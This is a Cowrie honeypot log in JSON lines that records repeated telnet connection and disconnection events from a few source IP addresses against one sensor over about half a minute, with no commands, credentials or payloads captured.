{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e54279ceb3e","protocol":"telnet","message":"New connection: 164.68.118.26:35316 (10.17.0.5:23) [session: 4e54279ceb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:06.594743Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f2a2b0b32d","protocol":"telnet","message":"New connection: 164.68.118.26:35466 (10.17.0.5:23) [session: 97f2a2b0b32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:06.628899Z"}
{"eventid":"cowrie.session.closed","duration":31.28691554069519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:06.741927Z","src_ip":"164.68.118.26","session":"c2abbf650519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.337673902511597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:07.034289Z","src_ip":"173.198.194.106","session":"43cc0384c0cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.465864896774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:07.551470Z","src_ip":"164.68.118.26","session":"8237b61c9391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f619e9239dd3","protocol":"telnet","message":"New connection: 164.68.118.26:41786 (10.17.0.5:23) [session: f619e9239dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:08.482010Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a9a6bc663d","protocol":"telnet","message":"New connection: 164.68.118.26:44586 (10.17.0.5:23) [session: d2a9a6bc663d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:09.329298Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45260,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cba9fbc776a","protocol":"telnet","message":"New connection: 164.68.118.26:45260 (10.17.0.5:23) [session: 2cba9fbc776a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:09.518569Z"}
{"eventid":"cowrie.session.closed","duration":31.5606472492218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:09.572628Z","src_ip":"173.198.194.106","session":"1317648087be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":59018,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e3979beea1","protocol":"telnet","message":"New connection: 173.198.194.106:59018 (10.17.0.5:23) [session: 41e3979beea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:09.829507Z"}
{"eventid":"cowrie.session.closed","duration":31.425684213638306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:09.873710Z","src_ip":"173.198.194.106","session":"593ca55e775b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33516,"dst_ip":"10.17.0.5","dst_port":23,"session":"712006ec563e","protocol":"telnet","message":"New connection: 173.198.194.106:33516 (10.17.0.5:23) [session: 712006ec563e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:10.548928Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49250,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33b0e7afa40","protocol":"telnet","message":"New connection: 164.68.118.26:49250 (10.17.0.5:23) [session: a33b0e7afa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:10.668236Z"}
{"eventid":"cowrie.session.closed","duration":30.544906854629517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:11.235562Z","src_ip":"164.68.118.26","session":"a162ea64d21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406115770339966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:11.250028Z","src_ip":"164.68.118.26","session":"19a30ea6ebff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29922342300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:12.142083Z","src_ip":"164.68.118.26","session":"be5645199c8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52678,"dst_ip":"10.17.0.5","dst_port":23,"session":"5544c27e7388","protocol":"telnet","message":"New connection: 45.63.42.31:52678 (10.17.0.5:23) [session: 5544c27e7388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:12.894060Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57690,"dst_ip":"10.17.0.5","dst_port":23,"session":"421cf5264c15","protocol":"telnet","message":"New connection: 164.68.118.26:57690 (10.17.0.5:23) [session: 421cf5264c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:13.046853Z"}
{"eventid":"cowrie.session.closed","duration":30.343780755996704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:13.061483Z","src_ip":"164.68.118.26","session":"29962e94e1ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"027f9cb8e642","protocol":"telnet","message":"New connection: 164.68.118.26:57740 (10.17.0.5:23) [session: 027f9cb8e642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:13.066542Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58856,"dst_ip":"10.17.0.5","dst_port":23,"session":"3478fb4181e0","protocol":"telnet","message":"New connection: 164.68.118.26:58856 (10.17.0.5:23) [session: 3478fb4181e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:13.400537Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":32930,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d6026e1cc8c","protocol":"telnet","message":"New connection: 164.68.118.26:32930 (10.17.0.5:23) [session: 1d6026e1cc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:14.063603Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34958,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9315d3eea7","protocol":"telnet","message":"New connection: 164.68.118.26:34958 (10.17.0.5:23) [session: 4c9315d3eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:14.636094Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36716,"dst_ip":"10.17.0.5","dst_port":23,"session":"4710a4ab7380","protocol":"telnet","message":"New connection: 164.68.118.26:36716 (10.17.0.5:23) [session: 4710a4ab7380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:15.120516Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"37364a190b9e","protocol":"telnet","message":"New connection: 164.68.118.26:37590 (10.17.0.5:23) [session: 37364a190b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:15.336818Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6af9b8e978a","protocol":"telnet","message":"New connection: 164.68.118.26:40086 (10.17.0.5:23) [session: e6af9b8e978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:15.948344Z"}
{"eventid":"cowrie.session.closed","duration":30.91397500038147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:16.107249Z","src_ip":"173.198.194.106","session":"ef642b3e12cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922943353652954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:16.312556Z","src_ip":"164.68.118.26","session":"a9cc24e7d8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846559762954712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:17.047756Z","src_ip":"164.68.118.26","session":"3ea71ce43a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44156,"dst_ip":"10.17.0.5","dst_port":23,"session":"259805a295fd","protocol":"telnet","message":"New connection: 164.68.118.26:44156 (10.17.0.5:23) [session: 259805a295fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:17.134449Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52212,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af8aa0fc44a","protocol":"telnet","message":"New connection: 161.97.181.240:52212 (10.17.0.5:23) [session: 3af8aa0fc44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:17.583182Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8d128de3bb","protocol":"telnet","message":"New connection: 164.68.118.26:46734 (10.17.0.5:23) [session: 9c8d128de3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:17.749077Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a60abbb9f957","protocol":"telnet","message":"New connection: 164.68.118.26:46882 (10.17.0.5:23) [session: a60abbb9f957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:17.779312Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48608,"dst_ip":"10.17.0.5","dst_port":23,"session":"9368240ff6e0","protocol":"telnet","message":"New connection: 164.68.118.26:48608 (10.17.0.5:23) [session: 9368240ff6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:18.188596Z"}
{"eventid":"cowrie.session.closed","duration":31.21488094329834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:18.227515Z","src_ip":"164.68.118.26","session":"6b5d50c79950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629051446914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:18.267452Z","src_ip":"164.68.118.26","session":"a8e171391e5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79745388031006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:19.057415Z","src_ip":"164.68.118.26","session":"06aa463e0447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":41154,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc32e3c9c55","protocol":"telnet","message":"New connection: 173.198.194.106:41154 (10.17.0.5:23) [session: 3dc32e3c9c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:20.109334Z"}
{"eventid":"cowrie.session.closed","duration":30.64121103286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:20.114903Z","src_ip":"164.68.118.26","session":"1fe235f8ea88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61047887802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:20.510912Z","src_ip":"164.68.118.26","session":"be16d725d1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6257cb0ebb3","protocol":"telnet","message":"New connection: 164.68.118.26:57672 (10.17.0.5:23) [session: d6257cb0ebb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:20.754158Z"}
{"eventid":"cowrie.session.closed","duration":30.555639266967773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:21.048660Z","src_ip":"164.68.118.26","session":"54bd46bf0307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50084400177002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:21.107555Z","src_ip":"164.68.118.26","session":"5f72c35c7ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48243284225464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:21.196238Z","src_ip":"164.68.118.26","session":"f7fbcec42ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.184483289718628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:22.116229Z","src_ip":"164.68.118.26","session":"d7c12ac3498a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18be5086950","protocol":"telnet","message":"New connection: 164.68.118.26:35334 (10.17.0.5:23) [session: a18be5086950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:22.417757Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"2177743de784","protocol":"telnet","message":"New connection: 164.68.118.26:37472 (10.17.0.5:23) [session: 2177743de784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:22.926953Z"}
{"eventid":"cowrie.session.closed","duration":30.61769676208496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:23.052997Z","src_ip":"164.68.118.26","session":"d2ff3fe271fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39668,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc32c8a4b1d","protocol":"telnet","message":"New connection: 164.68.118.26:39668 (10.17.0.5:23) [session: fcc32c8a4b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:23.501845Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35898,"dst_ip":"10.17.0.5","dst_port":23,"session":"6776a0c09beb","protocol":"telnet","message":"New connection: 164.68.118.26:35898 (10.17.0.5:23) [session: 6776a0c09beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:23.560624Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac5214b10a00","protocol":"telnet","message":"New connection: 164.68.118.26:41628 (10.17.0.5:23) [session: ac5214b10a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:24.064441Z"}
{"eventid":"cowrie.session.closed","duration":30.299274921417236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:24.110409Z","src_ip":"164.68.118.26","session":"4d6f093aabc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896794080734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:25.200891Z","src_ip":"164.68.118.26","session":"64bd56b7eabc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48372,"dst_ip":"10.17.0.5","dst_port":23,"session":"124cf3058e21","protocol":"telnet","message":"New connection: 164.68.118.26:48372 (10.17.0.5:23) [session: 124cf3058e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:25.826550Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48884,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e59e11f22a1","protocol":"telnet","message":"New connection: 164.68.118.26:48884 (10.17.0.5:23) [session: 5e59e11f22a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:25.960689Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50030,"dst_ip":"10.17.0.5","dst_port":23,"session":"08fc820b4733","protocol":"telnet","message":"New connection: 164.68.118.26:50030 (10.17.0.5:23) [session: 08fc820b4733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:26.290356Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50356,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e59368d594","protocol":"telnet","message":"New connection: 164.68.118.26:50356 (10.17.0.5:23) [session: 37e59368d594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:27.368598Z"}
{"eventid":"cowrie.session.closed","duration":30.2510187625885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:28.060437Z","src_ip":"173.198.194.106","session":"ab041c5b98bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28942060470581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:28.112584Z","src_ip":"164.68.118.26","session":"3926f77a95d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1339424f2265","protocol":"telnet","message":"New connection: 164.68.118.26:57288 (10.17.0.5:23) [session: 1339424f2265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:28.118205Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58538,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4c0037eeef","protocol":"telnet","message":"New connection: 164.68.118.26:58538 (10.17.0.5:23) [session: 0b4c0037eeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:28.515922Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2726b39f0a","protocol":"telnet","message":"New connection: 164.68.118.26:59474 (10.17.0.5:23) [session: ad2726b39f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:28.762311Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54223aa34ca","protocol":"telnet","message":"New connection: 173.198.194.106:46118 (10.17.0.5:23) [session: a54223aa34ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:29.042150Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60976,"dst_ip":"10.17.0.5","dst_port":23,"session":"186f7d4eb0f6","protocol":"telnet","message":"New connection: 164.68.118.26:60976 (10.17.0.5:23) [session: 186f7d4eb0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:29.172343Z"}
{"eventid":"cowrie.session.closed","duration":31.0815691947937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:30.524278Z","src_ip":"164.68.118.26","session":"f535e1316275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6abeffb160","protocol":"telnet","message":"New connection: 164.68.118.26:39020 (10.17.0.5:23) [session: fb6abeffb160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:30.799212Z"}
{"eventid":"cowrie.session.closed","duration":31.21052598953247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:30.901529Z","src_ip":"164.68.118.26","session":"c2074690ded2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311067581176758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.178596Z","src_ip":"164.68.118.26","session":"5ab7b9320ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23096013069153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.206314Z","src_ip":"164.68.118.26","session":"c93a841c9d74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550597667694092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.298272Z","src_ip":"164.68.118.26","session":"257c91e980fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":49954,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb9754dff89","protocol":"telnet","message":"New connection: 173.198.194.106:49954 (10.17.0.5:23) [session: edb9754dff89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.347170Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42572,"dst_ip":"10.17.0.5","dst_port":23,"session":"4189b594af73","protocol":"telnet","message":"New connection: 164.68.118.26:42572 (10.17.0.5:23) [session: 4189b594af73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.780001Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43402,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a0a4bf5070","protocol":"telnet","message":"New connection: 164.68.118.26:43402 (10.17.0.5:23) [session: a9a0a4bf5070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:31.988605Z"}
{"eventid":"cowrie.session.closed","duration":30.59248161315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.190097Z","src_ip":"173.198.194.106","session":"9793b87308e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40532,"dst_ip":"10.17.0.5","dst_port":23,"session":"76106af7aa3d","protocol":"telnet","message":"New connection: 164.68.118.26:40532 (10.17.0.5:23) [session: 76106af7aa3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.212944Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d28fcf7761e3","protocol":"telnet","message":"New connection: 164.68.118.26:44568 (10.17.0.5:23) [session: d28fcf7761e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.330686Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aaa4b5ebd5b","protocol":"telnet","message":"New connection: 164.68.118.26:44650 (10.17.0.5:23) [session: 5aaa4b5ebd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.356472Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83dd17bcba2","protocol":"telnet","message":"New connection: 164.68.118.26:45184 (10.17.0.5:23) [session: a83dd17bcba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.474298Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45572,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08b8ae78d72","protocol":"telnet","message":"New connection: 164.68.118.26:45572 (10.17.0.5:23) [session: e08b8ae78d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:32.526391Z"}
{"eventid":"cowrie.session.closed","duration":32.058128356933594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:33.004549Z","src_ip":"164.68.118.26","session":"d86b3a6a7d8d","protocol":"telnet"}
